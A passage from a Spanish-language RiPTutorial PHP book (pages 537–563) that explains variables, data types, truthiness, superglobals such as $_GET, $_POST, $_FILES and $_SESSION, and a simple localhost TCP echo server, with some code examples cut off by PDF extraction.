• $ variable = 'valor'; // Asignar variable general
• $ objeto-> propiedad = 'valor'; // Asignar una propiedad de objeto
• ClassName :: $ property = 'value'; // Asignar una propiedad de clase estática
• $ array [0] = 'valor'; // Asignar un valor a un índice de una matriz
• $ array [] = 'valor'; // Empujar un elemento al final de una matriz
• $ array ['key'] = 'value'; // Asignar un valor de matriz
• echo $ variable; // Eco (imprimir) un valor variable
• some_function ($ variable); // Usar variable como parámetro de función
• unset ($ variable); // Desarmar una variable
• $$ variable = 'valor'; // Asignar a una variable variable
• isset ($ variable); // Comprobar si una variable está configurada o no
• vacío ($ variable); // Compruebe si una variable está vacía o no
Observaciones
Verificación de tipos
Parte de la documentación sobre variables y tipos menciona que PHP no utiliza la escritura
estática. Esto es correcto, pero PHP realiza algunas comprobaciones de tipo cuando se trata de
parámetros de función / método y valores de retorno (especialmente con PHP 7).
<?php
/**
* Juggle numbers and return true if juggling was
* a great success.
*/
function numberJuggling(int $a, int $b) : bool
{
$sum = $a + $b;
https://riptutorial.com/es/home 537
El ejemplo anterior genera un error en caso de que el valor no numérico se da como tampoco el
$a o $b parámetro, y si la función devuelve algo más que true o false . El ejemplo anterior es
"suelto", ya que puede dar un valor flotante a $a o $b . Si desea imponer tipos estrictos, lo que
significa que solo puede ingresar números enteros y no flotantes, agregue lo siguiente al
comienzo de su archivo PHP:
<?php
declare('strict_types=1');
Antes de que las funciones y los métodos de PHP 7 permitieran el tipo de sugerencias para los
siguientes tipos:
Examples
Acceso a una variable dinámicamente por nombre (variables variables)
Se puede acceder a las variables a través de nombres de variables dinámicas. El nombre de una
variable se puede almacenar en otra variable, lo que permite acceder a ella de forma dinámica.
Tales variables son conocidas como variables variables.
Para convertir una variable en una variable, coloque un $ extra en frente de su variable.
$variableName = 'foo';
$foo = 'bar';
//similarly,
$variableName = 'foo';
$$variableName = 'bar';
Las variables variables son útiles para mapear funciones / llamadas de método:
https://riptutorial.com/es/home 538
$funcName = 'add';
class myClass {
public function __construct() {
$functionName = 'doSomething';
$this->$functionName('Hello World');
}
${$variableName} = $value;
$fooBar = 'baz';
$varPrefix = 'foo';
Usar {} solo es obligatorio cuando el nombre de la variable es en sí mismo una expresión, como
esta:
$$$$$$$$DoNotTryThisAtHomeKids = $value;
https://riptutorial.com/es/home 539
Otra razón para usar siempre {} o () , es que PHP5 y PHP7 tienen una forma ligeramente
diferente de tratar con variables dinámicas, lo que resulta en un resultado diferente en algunos
casos.
En PHP7, las variables dinámicas, las propiedades y los métodos ahora se evaluarán
estrictamente en el orden de izquierda a derecha, a diferencia de la combinación de casos
especiales en PHP5. Los siguientes ejemplos muestran cómo ha cambiado el orden de
evaluación.
Caso 1: $$foo['bar']['baz']
Caso 2: $foo->$bar['baz']
Caso 3: $foo->$bar['baz']()
Caso 4: Foo::$bar['baz']()
Tipos de datos
Hay diferentes tipos de datos para diferentes propósitos. PHP no tiene definiciones de tipo
explícitas, pero el tipo de una variable está determinado por el tipo de valor que se asigna, o por
el tipo al que se convierte. Esta es una breve descripción general de los tipos, para una
documentación detallada y ejemplos, consulte el tema de tipos de PHP .
Existen los siguientes tipos de datos en PHP: nulo, booleano, entero, flotante, cadena, objeto,
recurso y matriz.
Nulo
Nulo puede ser asignado a cualquier variable. Representa una variable sin valor.
$foo = null;
Esto invalida la variable y su valor sería indefinido o nulo si se llama. La variable se borra de la
memoria y el recolector de basura la elimina.
https://riptutorial.com/es/home 540
Booleano
Este es el tipo más simple con solo dos valores posibles.
$foo = true;
$bar = false;
$foo = true;
if ($foo) {
echo "true";
} else {
echo "false";
}
Entero
Un número entero es un número entero positivo o negativo. Puede ser utilizado con cualquier
base numérica. El tamaño de un entero es dependiente de la plataforma. PHP no soporta enteros
sin signo.
Flotador
Los números de punto flotante, "dobles" o simplemente llamados "flotadores" son números
decimales.
$foo = 1.23;
$foo = 10.0;
$bar = -INF;
$bar = NAN;
Formación
Una matriz es como una lista de valores. La forma más simple de una matriz está indexada por
entero y ordenada por el índice, con el primer elemento en el índice 0.
https://riptutorial.com/es/home 541
echo $bar[0]; // Returns "A"
echo $bar[1]; // Returns true
echo $bar[123]; // Returns 5
echo $bar[1234]; // Returns null
Las matrices también pueden asociar una clave que no sea un índice entero a un valor. En PHP,
todas las matrices son matrices asociativas detrás de las escenas, pero cuando nos referimos a
una 'matriz asociativa' claramente, por lo general nos referimos a una que contiene una o más
claves que no son enteros.
$array = array();
$array["foo"] = "bar";
$array["baz"] = "quux";
$array[42] = "hello";
echo $array["foo"]; // Outputs "bar"
echo $array["bar"]; // Outputs "quux"
echo $array[42]; // Outputs "hello"
Cuerda
Una cadena es como una matriz de caracteres.
$foo = "bar";
Al igual que una matriz, una cadena se puede indexar para devolver sus caracteres individuales:
$foo = "bar";
echo $foo[0]; // Prints 'b', the first character of the string in $foo.
Objeto
Un objeto es una instancia de una clase. Se puede acceder a sus variables y métodos con el
operador -> .
$foo = new stdClass(); // create new object of class stdClass, which a predefined, empty class
$foo->bar = "baz";
echo $foo->bar; // Outputs "baz"
// Or we can cast an array to an object:
$quux = (object) ["foo" => "bar"];
echo $quux->foo; // This outputs "bar".
Recurso
Las variables de recursos tienen identificadores especiales para archivos abiertos, conexiones de
base de datos, flujos, áreas de lienzo de imágenes y similares (como se indica en el manual ).
$fp = fopen('file.ext', 'r'); // fopen() is the function to open a file on disk as a resource.
https://riptutorial.com/es/home 542
var_dump($fp); // output: resource(2) of type (stream)
Para obtener el tipo de una variable como una cadena, use la función gettype() :
function foo() {
global $bob;
$bob->doSomething();
}
¿Estas confundido? Bueno. Acaba de aprender por qué los globales son confusos y se
consideran una mala práctica .
Dado que prácticamente todos los programas PHP hacen uso de código como
include('file.php'); su trabajo para mantener un código como este se vuelve exponencialmente
más difícil cuanto más archivos agregue.
Además, esto hace que la tarea de probar sus aplicaciones sea muy difícil. Supongamos que
utiliza una variable global para mantener su conexión de base de datos:
function doSomething() {
global $dbConnector;
$dbConnector->execute("...");
}
Para realizar una prueba unitaria de esta función, debe anular la variable global $dbConnector ,
ejecutar las pruebas y luego restablecerla a su valor original, que es muy propenso a errores:
/**
* @test
*/
function testSomething() {
https://riptutorial.com/es/home 543
global $dbConnector;
assertTrue(foo());
La mejor manera de evitar los globales es una filosofía llamada inyección de dependencia .
Aquí es donde pasamos las herramientas que necesitamos a la función o clase.
Esto es mucho más fácil de entender y mantener. No se puede adivinar dónde se configuró $bob
porque la persona que llama es responsable de saberlo (nos pasa lo que necesitamos saber).
Mejor aún, podemos usar declaraciones de tipo para restringir lo que se está pasando.
Así que sabemos que $bob es una instancia de la clase Bar o una instancia de un hijo de Bar , lo
que significa que sabemos que podemos usar los métodos de esa clase. Combinado con un
autocargador estándar (disponible desde PHP 5.3), ahora podemos rastrear dónde se define Bar .
PHP 7.0 o posterior incluye declaraciones de tipo expandido, donde también puede usar tipos
escalares (como int o string ).
4.1
Variables superglobales
Los superglobales en PHP son variables predefinidas, que están siempre disponibles, a las que
se puede acceder desde cualquier ámbito a lo largo del script.
No hay necesidad de hacer $ variable global; Para acceder a ellos dentro de funciones / métodos,
clases o archivos.
• $ GLOBALES
• $ _SERVER
• $ _REQUEST
• $ _POST
• $ _GET
• $ _FILES
• $ _ENV
• $ _COOKIE
• $ _SESION
https://riptutorial.com/es/home 544
Obteniendo todas las variables definidas
get_defined_vars() devuelve una matriz con todos los nombres y valores de las variables definidas
en el ámbito en el que se llama la función. Si desea imprimir datos, puede usar funciones
estándar para generar datos legibles para el ser humano, como print_r o var_dump .
var_dump(get_defined_vars());
Nota : esta función generalmente devuelve solo 4 superglobales : $_GET , $_POST , $_COOKIE ,
$_FILES . Otros superglobales se devuelven solo si se han utilizado en algún lugar del código. Esto
se debe a la directiva auto_globals_jit que está habilitada de forma predeterminada. Cuando está
habilitado, las variables $_SERVER y $_ENV se crean cuando se usan por primera vez (Just In Time)
en lugar de cuando se inicia el script. Si estas variables no se usan dentro de un script, tener esta
directiva activada resultará en una ganancia de rendimiento.
Aunque no es necesario en PHP, sin embargo, es una muy buena práctica inicializar variables.
Las variables sin inicializar tienen un valor predeterminado de su tipo según el contexto en el que
se utilizan:
Booleano
Cuerda
$unset_str .= 'abc';
var_dump($unset_str); // outputs 'string(3) "abc"'
Entero
Flotar / doble
$unset_float += 1.25;
var_dump($unset_float); // outputs 'float(1.25)'
Formación
$unset_arr[3] = "def";
https://riptutorial.com/es/home 545
var_dump($unset_arr); // outputs array(1) { [3]=> string(3) "def" }
Objeto
$unset_obj->foo = 'bar';
var_dump($unset_obj); // Outputs: object(stdClass)#1 (1) { ["foo"]=> string(3) "bar" }
En PHP, los valores de las variables tienen una "veracidad" asociada, por lo que incluso los
valores no booleanos equivaldrán a true o false . Esto permite que cualquier variable se use en
un bloque condicional, por ejemplo,
Aquí hay algunas reglas fundamentales para diferentes tipos de valores de variables:
• Las cadenas con longitud distinta de cero equivalen a true incluidas las cadenas que solo
contienen una hoja blanca como ' ' .
• Las cadenas vacías '' equivalen a false .
$var = '';
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true
• Los enteros equivalen a true si son distintos de cero, mientras que cero equivale a false .
$var = -1;
$var_is_true = ($var == true); // true
$var = 99;
$var_is_true = ($var == true); // true
$var = 0;
$var_is_true = ($var == true); // false
$var = null;
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true
https://riptutorial.com/es/home 546
$var = '';
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true
$var = '0';
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true
• Los valores de punto flotante equivalen a true si son distintos de cero, mientras que los
valores de cero equivalen a false .
○ NAN (Not-a-Number de PHP) equivale a true , es decir, NAN == true es true . Esto se
debe a que NAN es un valor de punto flotante distinto de cero .
○ Los valores cero incluyen tanto +0 como -0 según lo definido por IEEE 754. PHP no
distingue entre +0 y -0 en su punto flotante de doble precisión, es decir, floatval('0')
== floatval('-0') es true .
○ De hecho, floatval('0') === floatval('-0') .
○ Además, ambos floatval('0') == false y floatval('-0') == false .
$var = NAN;
$var_is_true = ($var == true); // true
$var_is_false = ($var == false); // false
$var = floatval('-0');
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true
OPERADOR IDENTICO
En la Documentación PHP para operadores de comparación , hay un operador idéntico === . Este
operador se puede usar para verificar si una variable es idéntica a un valor de referencia:
$var = null;
$var_is_null = $var === null; // true
$var_is_true = $var === true; // false
$var_is_false = $var === false; // false
$var = null;
$var_is_null = $var !== null; // false
$var_is_true = $var !== true; // true
$var_is_false = $var !== false; // true
El operador idéntico se puede usar como una alternativa a las funciones de lenguaje como
is_null() .
https://riptutorial.com/es/home 547
La función de lenguaje strpos($haystack, $needle) se usa para ubicar el índice en el que $needle
aparece en $haystack , o si ocurre en absoluto. La función strpos() mayúsculas y minúsculas; Si lo
que necesita es un hallazgo que no distingue entre mayúsculas y minúsculas, puede ir con
stripos($haystack, $needle)
La función strpos & stripos también contiene el offset tercer parámetro (int) que, si se especifica,
la búsqueda iniciará este número de caracteres contados desde el principio de la cadena. A
diferencia de strrpos y strripos, el offset no puede ser negativo
Debido a que tanto 0 como false tienen una verdad false en PHP pero representan situaciones
distintas para strpos() , es importante distinguir entre ellos y usar el operador idéntico === para
buscar exactamente false y no solo un valor que equivale a false .
https://riptutorial.com/es/home 548
Capítulo 106: Variables Superglobales PHP
Introducción
Las superglobales son variables integradas que siempre están disponibles en todos los ámbitos.
Varias variables predefinidas en PHP son "superglobales", lo que significa que están disponibles
en todos los ámbitos a lo largo de un script. No hay necesidad de hacer global $variable;
Acceder a ellos dentro de funciones o métodos.
Examples
PHP5 SuperGlobals
• $ GLOBALES
• $ _REQUEST
• $ _GET
• $ _POST
• $ _FILES
• $ _SERVER
• $ _ENV
• $ _COOKIE
• $ _SESION
<?php
$a = 10;
function foo(){
echo $GLOBALS['a'];
}
//Which will print 10 Global Variable a
?>
$ _REQUEST : esta variable superglobal se usa para recopilar datos enviados por un formulario
HTML.
<?php
if(isset($_REQUEST['user'])){
echo $_REQUEST['user'];
}
//This will print value of HTML Field with name=user submitted using POST and/or GET MEthod
?>
$ _GET : esta Variable SuperGlobal se usa para recopilar datos enviados por el formulario HTML
con el método get .
https://riptutorial.com/es/home 549
<?php
if(isset($_GET['username'])){
echo $_GET['username'];
}
//This will print value of HTML field with name username submitted using GET Method
?>
$ _POST : esta Variable SuperGlobal se usa para recopilar datos enviados mediante un
formulario HTML con método de post .
<?php
if(isset($_POST['username'])){
echo $_POST['username'];
}
//This will print value of HTML field with name username submitted using POST Method
?>
$ _FILES : Esta Variable SuperGlobal contiene la información de los archivos cargados a través
del método HTTP Post.
<?php
if($_FILES['picture']){
echo "<pre>";
print_r($_FILES['picture']);
echo "</pre>";
}
/**
This will print details of the File with name picture uploaded via a form with method='post
and with enctype='multipart/form-data'
Details includes Name of file, Type of File, temporary file location, error code(if any error
occured while uploading the file) and size of file in Bytes.
Eg.
Array
(
[picture] => Array
(
[0] => Array
(
[name] => 400.png
[type] => image/png
[tmp_name] => /tmp/php5Wx0aJ
[error] => 0
[size] => 15726
)
)
)
*/
?>
$ _SERVER : esta variable superglobal contiene información sobre scripts, encabezados HTTP y
rutas de servidor.
<?php
echo "<pre>";
https://riptutorial.com/es/home 550
print_r($_SERVER);
echo "</pre>";
/**
Will print the following details
on my local XAMPP
Array
(
[MIBDIRS] => C:/xampp/php/extras/mibs
[MYSQL_HOME] => \xampp\mysql\bin
[OPENSSL_CONF] => C:/xampp/apache/bin/openssl.cnf
[PHP_PEAR_SYSCONF_DIR] => \xampp\php
[PHPRC] => \xampp\php
[TMP] => \xampp\tmp
[HTTP_HOST] => localhost
[HTTP_CONNECTION] => keep-alive
[HTTP_CACHE_CONTROL] => max-age=0
[HTTP_UPGRADE_INSECURE_REQUESTS] => 1
[HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/52.0.2743.82 Safari/537.36
[HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*;q=0.8
[HTTP_ACCEPT_ENCODING] => gzip, deflate, sdch
[HTTP_ACCEPT_LANGUAGE] => en-US,en;q=0.8
[PATH] => C:\xampp\php;C:\ProgramData\ComposerSetup\bin;
[SystemRoot] => C:\Windows
[COMSPEC] => C:\Windows\system32\cmd.exe
[PATHEXT] => .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
[WINDIR] => C:\Windows
[SERVER_SIGNATURE] => Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12 Server at localhost
Port 80
[SERVER_SOFTWARE] => Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12
[SERVER_NAME] => localhost
[SERVER_ADDR] => ::1
[SERVER_PORT] => 80
[REMOTE_ADDR] => ::1
[DOCUMENT_ROOT] => C:/xampp/htdocs
[REQUEST_SCHEME] => http
[CONTEXT_PREFIX] =>
[CONTEXT_DOCUMENT_ROOT] => C:/xampp/htdocs
[SERVER_ADMIN] => postmaster@localhost
[SCRIPT_FILENAME] => C:/xampp/htdocs/abcd.php
[REMOTE_PORT] => 63822
[GATEWAY_INTERFACE] => CGI/1.1
[SERVER_PROTOCOL] => HTTP/1.1
[REQUEST_METHOD] => GET
[QUERY_STRING] =>
[REQUEST_URI] => /abcd.php
[SCRIPT_NAME] => /abcd.php
[PHP_SELF] => /abcd.php
[REQUEST_TIME_FLOAT] => 1469374173.88
[REQUEST_TIME] => 1469374173
)
*/
?>
$ _ENV : Este entorno de shell de variable superglobal Detalles de la variable bajo los cuales se
ejecuta PHP.
$ _COOKIE : esta Variable SuperGlobal se usa para recuperar el valor de Cookie con la Clave
dada.
https://riptutorial.com/es/home 551
<?php
$cookie_name = "data";
$cookie_value = "Foo Bar";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
if(!isset($_COOKIE[$cookie_name])) {
echo "Cookie named '" . $cookie_name . "' is not set!";
}
else {
echo "Cookie '" . $cookie_name . "' is set!<br>";
echo "Value is: " . $_COOKIE[$cookie_name];
}
/**
Output
Cookie 'data' is set!
Value is: Foo Bar
*/
?>
$ _SESSION : esta variable superglobal se usa para establecer y recuperar el valor de sesión que
se almacena en el servidor.
<?php
//Start the session
session_start();
/**
Setting the Session Variables
that can be accessed on different
pages on save server.
*/
$_SESSION["username"] = "John Doe";
$_SESSION["user_token"] = "d5f1df5b4dfb8b8d5f";
echo "Session is saved successfully";
/**
Output
Session is saved successfully
*/
?>
Suberglobales explicados
Introducción
En pocas palabras, estas son variables que están disponibles en todos los ámbitos de sus scripts.
Esto significa que no hay necesidad de pasarlos como parámetros en sus funciones, o
almacenarlos fuera de un bloque de código para tenerlos disponibles en diferentes ámbitos.
¿Qué es un superglobal?
Si estás pensando que estos son como superhéroes, no lo son.
https://riptutorial.com/es/home 552
A partir de la versión 7.1.3 de PHP hay 9 variables superglobal. Son los siguientes:
Consulte la documentación .
$GLOBALS
Una matriz asociativa que contiene referencias a todas las variables que actualmente
están definidas en el alcance global del script. Los nombres de las variables son las
claves de la matriz.
Código
function test()
{
$myLocal = "local"; // declare variable inside of scope
// both variables are printed
var_dump($myLocal);
var_dump($GLOBALS["myGlobal"]);
}
Salida
https://riptutorial.com/es/home 553
función test() y luego se destruye una vez que se cierra la función.
Volverse global
function test()
{
global $myLocal;
$myLocal = "local";
var_dump($myLocal);
var_dump($GLOBALS["myGlobal"]);
}
La palabra clave global es un prefijo en una variable que la obliga a formar parte del ámbito
global.
Tenga en cuenta que no puede asignar un valor a una variable en la misma declaración que la
palabra clave global. Por lo tanto, por qué tuve que asignar un valor por debajo. (Es posible si
elimina nuevas líneas y espacios, pero no creo que esté limpio. global $myLocal; $myLocal =
"local" ).
function test()
{
$GLOBALS["myLocal"] = "local";
$myLocal = $GLOBALS["myLocal"];
var_dump($myLocal);
var_dump($GLOBALS["myGlobal"]);
}
En este ejemplo, $myLocal el valor de $GLOBAL["myLocal"] ya que me resulta más fácil escribir un
nombre de variable en lugar de la matriz asociativa.
$_SERVER
C:\wamp64\www\test.php:2:
array (size=36)
https://riptutorial.com/es/home 554
'HTTP_HOST' => string 'localhost' (length=9)
'HTTP_CONNECTION' => string 'keep-alive' (length=10)
'HTTP_CACHE_CONTROL' => string 'max-age=0' (length=9)
'HTTP_UPGRADE_INSECURE_REQUESTS' => string '1' (length=1)
'HTTP_USER_AGENT' => string 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36' (length=110)
'HTTP_ACCEPT' => string
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' (length=74)
'HTTP_ACCEPT_ENCODING' => string 'gzip, deflate, sdch, br' (length=23)
'HTTP_ACCEPT_LANGUAGE' => string 'en-US,en;q=0.8,en-GB;q=0.6' (length=26)
'HTTP_COOKIE' => string 'PHPSESSID=0gslnvgsci371ete9hg7k9ivc6' (length=36)
'PATH' => string 'C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Program Files
(x86)\Intel\iCLS Client\;C:\Program Files\Intel\iCLS
Client\;C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\
Files\ATI Technologies\ATI.ACE\Core-Static;E:\Program Files\AMD\ATI.ACE\Core-Static;C:\Program
Files (x86)\AMD\ATI.ACE\Core-Static;C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-
Static;C:\Program Files\Intel\Intel(R) Managemen'... (length=1169)
'SystemRoot' => string 'C:\WINDOWS' (length=10)
'COMSPEC' => string 'C:\WINDOWS\system32\cmd.exe' (length=27)
'PATHEXT' => string '.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY'
(length=57)
'WINDIR' => string 'C:\WINDOWS' (length=10)
'SERVER_SIGNATURE' => string '<address>Apache/2.4.23 (Win64) PHP/7.0.10 Server at
localhost Port 80</address>' (length=80)
'SERVER_SOFTWARE' => string 'Apache/2.4.23 (Win64) PHP/7.0.10' (length=32)
'SERVER_NAME' => string 'localhost' (length=9)
'SERVER_ADDR' => string '::1' (length=3)
'SERVER_PORT' => string '80' (length=2)
'REMOTE_ADDR' => string '::1' (length=3)
'DOCUMENT_ROOT' => string 'C:/wamp64/www' (length=13)
'REQUEST_SCHEME' => string 'http' (length=4)
'CONTEXT_PREFIX' => string '' (length=0)
'CONTEXT_DOCUMENT_ROOT' => string 'C:/wamp64/www' (length=13)
'SERVER_ADMIN' => string '[email protected]' (length=29)
'SCRIPT_FILENAME' => string 'C:/wamp64/www/test.php' (length=26)
'REMOTE_PORT' => string '5359' (length=4)
'GATEWAY_INTERFACE' => string 'CGI/1.1' (length=7)
'SERVER_PROTOCOL' => string 'HTTP/1.1' (length=8)
'REQUEST_METHOD' => string 'GET' (length=3)
'QUERY_STRING' => string '' (length=0)
'REQUEST_URI' => string '/test.php' (length=13)
'SCRIPT_NAME' => string '/test.php' (length=13)
'PHP_SELF' => string '/test.php' (length=13)
'REQUEST_TIME_FLOAT' => float 1491068771.413
'REQUEST_TIME' => int 1491068771
Hay mucho que tomar allí, así que voy a elegir algunos importantes a continuación. Si desea leer
sobre todos ellos, consulte la sección de índices de la documentación.
Yo podría agregarlos todos debajo de un día. ¿O alguien puede editar y agregar una buena explicación de ellos a
continuación? Pista, pista ;)
https://riptutorial.com/es/home 555
información sobre el navegador del cliente, incluido el sistema operativo.
• HTTP_COOKIE - Todas las cookies en una cadena concatenada, con un delimitador de punto y
coma.
• SERVER_ADDR : la dirección IP del servidor, de la cual se ejecuta el script actual.
Esto devolvería 93.184.216.34
• PHP_SELF : el nombre de archivo del script ejecutado actualmente, relativo a la raíz del
documento.
Esto devolvería /index.php
• REQUEST_TIME_FLOAT : la marca de tiempo del inicio de la solicitud, con microsegundos de
precisión. Disponible desde PHP 5.4.0.
• REQUEST_TIME : la marca de tiempo del inicio de la solicitud. Disponible desde PHP 5.1.0.
$_GET
Una matriz asociativa de variables pasadas al script actual a través de los parámetros
de la URL.
$_GET es una matriz que contiene todos los parámetros de URL; estos son los que son después de
la? en la URL.
// URL = http://www.example.com/index.php?myVar=myVal
echo $_GET["myVar"] == "myVal" ? "true" : "false"; // returns "true"
Esto muestra cómo puede acceder al valor desde la URL usando $_GET superglobal.
// URL = http://www.example.com/index.php?myVar=myVal&myVar2=myVal2
echo $_GET["myVar"]; // returns "myVal"
echo $_GET["myVar2"]; // returns "myVal2"
Es posible enviar múltiples variables a través de la URL separándolas con un carácter de signo ( &
).
Riesgo de seguridad
Es muy importante no enviar ninguna información confidencial a través de la URL, ya que
permanecerá en el historial de la computadora y será visible para cualquier persona que pueda
acceder a ese navegador.
$_POST
Una matriz asociativa de variables pasadas al script actual a través del método HTTP
https://riptutorial.com/es/home 556
POST cuando se utiliza application / x-www-form-urlencoded o multipart / form-data
como el tipo de contenido HTTP en la solicitud.
Comenzaré yendo directamente a un ejemplo. (He omitido el atributo de acción ya que esto
enviará la información a la página en la que se encuentra el formulario).
<form method="POST">
<input type="text" name="myVar" value="myVal" />
<input type="submit" name="submit" value="Submit" />
</form>
La anterior es una forma básica para la cual se pueden enviar datos. En un entorno real, el
atributo de value no se establecería, lo que significa que el formulario estaría en blanco. Esto
enviaría entonces cualquier información que ingrese el usuario.
Riesgo de seguridad
El envío de datos a través de POST tampoco es seguro. El uso de HTTPS asegurará que los
datos se mantengan más seguros.
$_FILES
Una matriz asociativa de elementos cargados en el script actual a través del método
HTTP POST. La estructura de esta matriz se describe en la sección de subidas del
método POST .
Tenga en cuenta que omití el atributo de action (¡otra vez!). Además, agregué
enctype="multipart/form-data" , esto es importante para cualquier formulario que se ocupe de la
carga de archivos.
https://riptutorial.com/es/home 557
}
Esto se utiliza para cargar un archivo. A veces es posible que desee cargar más de un archivo.
Existe un atributo para eso, se llama multiple .
Hay un atributo para casi cualquier cosa . Lo siento
Tenga en cuenta los cambios realizados aquí; Sólo hay unos pocos.
• El nombre de input tiene corchetes. Esto se debe a que ahora es una matriz de archivos y
por eso le indicamos al formulario que haga una matriz de los archivos seleccionados.
Omitir los corchetes resultará en que el último archivo más se establezca en
$_FILES["myVar"] .
• El atributo multiple="multiple" . Esto solo le dice al navegador que los usuarios pueden
seleccionar más de un archivo.
https://riptutorial.com/es/home 558
case UPLOAD_ERR_NO_TMP_DIR:
echo "Value: 6; Missing a temporary folder. Introduced in PHP 5.0.3.";
break;
case UPLOAD_ERR_CANT_WRITE:
echo "Value: 7; Failed to write file to disk. Introduced in PHP 5.1.0.";
break;
case UPLOAD_ERR_EXTENSION:
echo "Value: 8; A PHP extension stopped the file upload. PHP does not provide a
way to ascertain which extension caused the file upload to stop; examining the list of loaded
extensions with phpinfo() may help. Introduced in PHP 5.2.0.";
break;
default:
echo "An unknown error has occured.";
break;
}
}
Este es un ejemplo muy simple y no maneja problemas como las extensiones de archivo que no
están permitidas o los archivos nombrados con código PHP (como un equivalente de PHP de una
inyección SQL). Consulte la documentación .
El primer proceso es verificar si hay archivos, y si es así, establezca el número total de ellos en
$total .
El uso del bucle for permite una iteración de la matriz $_FILES y acceder a cada elemento uno a la
vez. Si ese archivo no encuentra un problema, la sentencia if es verdadera y se ejecuta el código
de la carga del archivo único.
Si se encuentra un problema, el bloque de conmutación se ejecuta y se presenta un error de
acuerdo con el error para esa carga en particular.
$_COOKIE
Una matriz asociativa de variables pasadas al script actual a través de cookies HTTP.
Las cookies son variables que contienen datos y se almacenan en la computadora del cliente.
A diferencia de las superglobales mencionadas anteriormente, las cookies deben crearse con una
función (y no asignar un valor). La convención está abajo.
En este ejemplo, se especifica un nombre para la cookie (en este ejemplo es "myVar"), se da un
valor (en este ejemplo es "myVal", pero se puede pasar una variable para asignar su valor a la
cookie), y luego se da un tiempo de caducidad (en este ejemplo es una hora porque 3600
segundos es un minuto).
A pesar de que la convención para crear una cookie es diferente, se accede de la misma manera
que las demás.
https://riptutorial.com/es/home 559
Para destruir una cookie, se debe volver a llamar a setcookie , pero el tiempo de caducidad se
establece en cualquier momento en el pasado. Vea abajo.
$_SESSION
Una matriz asociativa que contiene variables de sesión disponibles para el script
actual. Consulte la documentación de las funciones de sesión para obtener más
información sobre cómo se utiliza esto.
Las sesiones son muy parecidas a las cookies, excepto que son del lado del servidor.
Para usar las sesiones, debe incluir session_start() en la parte superior de sus scripts para
permitir que se utilicen las sesiones.
Configurar una variable de sesión es lo mismo que configurar cualquier otra variable. Vea el
ejemplo a continuación.
$_SESSION["myVar"] = "myVal";
Al iniciar una sesión, una ID aleatoria se establece como una cookie y se llama "PHPSESSID" y
contendrá la ID de la sesión actual. Se puede acceder a esto llamando a la función session_id() .
Es posible destruir las variables de sesión usando la función unset (de manera que
unset($_SESSION["myVar"]) destruiría esa variable).
La alternativa es llamar a session_destory() . Esto destruirá toda la sesión, lo que significa que
todas las variables de la sesión ya no existirán.
$_REQUEST
Una matriz asociativa que de forma predeterminada contiene los contenidos de $_GET ,
$_POST y $_COOKIE .
Como indica la documentación de PHP, esto es solo una recopilación de $_GET , $_POST y $_COOKIE
todo en una variable.
Dado que es posible que los tres arreglos tengan un índice con el mismo nombre, hay una
configuración en el archivo php.ini llamada request_order que puede especificar cuál de los tres
tiene prioridad.
Por ejemplo, si se configuró en "GPC" , entonces se $_COOKIE el valor de $_COOKIE , ya que se lee de
izquierda a derecha, lo que significa que $_REQUEST establecerá su valor en $_GET , luego $_POST y
luego $_COOKIE y como $_COOKIE es el último, es el valor que está en $_REQUEST .
Vea esta pregunta .
$_ENV
https://riptutorial.com/es/home 560
Una matriz asociativa de variables pasadas al script actual a través del método de
entorno.
Cualquier cosa almacenada dentro de $_ENV es del entorno desde el que se ejecuta PHP.
https://riptutorial.com/es/home 561
Capítulo 107: Websockets
Introducción
El uso de la extensión de socket implementa una interfaz de bajo nivel para las funciones de
comunicación de socket basadas en los populares sockets BSD, brindando la posibilidad de
actuar como un servidor de socket así como un cliente.
Examples
Servidor TCP / IP simple
Cree un script websocket que escuche el puerto 5000 Use putty, terminal para ejecutar telnet
127.0.0.1 5000 (localhost). Este script responde con el mensaje que envió (como respuesta)
<?php
set_time_limit(0); // disable timeout
ob_implicit_flush(); // disable output caching
// Settings
$address = '127.0.0.1';
$port = 5000;
/*
function socket_create ( int $domain , int $type , int $protocol )
$domain can be AF_INET, AF_INET6 for IPV6 , AF_UNIX for Local communication protocol
$protocol can be SOL_TCP, SOL_UDP (TCP/UDP)
@returns true on success
*/
/*
socket_bind ( resource $socket , string $address [, int $port = 0 ] )
Bind socket to listen to address and port
*/
do {
https://riptutorial.com/es/home 562
if (($msgsock = socket_accept($socket)) === false) {
echo "Error: socket_accept: " . socket_strerror(socket_last_error($socket)) . "\n";
break;
}
} while (true);
socket_close($msgsock);
} while (true);
socket_close($socket);
?>
https://riptutorial.com/es/home 563
Capítulo 108: XML
Examples
Crea un archivo XML usando XMLWriter
